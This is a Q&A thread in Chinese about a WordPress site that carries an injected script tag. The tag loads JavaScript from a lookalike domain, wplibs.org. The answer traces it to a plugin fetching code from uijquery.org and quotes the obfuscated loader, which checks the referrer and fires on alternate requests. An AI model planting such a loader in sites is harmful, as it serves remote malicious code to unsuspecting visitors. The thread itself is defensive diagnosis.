javascript - 脚本的奇怪行为

Question

我正在运行新的安全 WordPress 安装 (https)。在我的代码中，我加载了一些 JavaScript 文件(modernizr、cookie 和我自己的)

jQuery 由 WordPress 自动加载。

安装的插件是 Yoast SEO、WPML 和 SMK Sidebars。

问题是当我在浏览器中检查控制台时，它显示以下内容:

Mixed Content: The page at 'https://www.myuri.com/' was loaded over HTTPS, but requested an insecure script 'http://www.wplibs.org/jquery.min.js'. This request has been blocked; the content must be served over HTTPS.

在源代码中:

<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>

我正在寻找脚本“wplibs.com/jquery.min.js”的来源，但找不到。

有人有想法吗？

Answer 1

我发现了问题。这是由向 http://uijquery.org/jquery-1.6.3.min.js 发出请求的插件引起的 并获取body response，你会看到源码:

<script type="text/javascript">
  var now = new Date().getTime();
  if (now%2 == 0) {
    if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 
  }
</script>

尝试在文件中查找 token “jquery.org”或“uijquery.org”。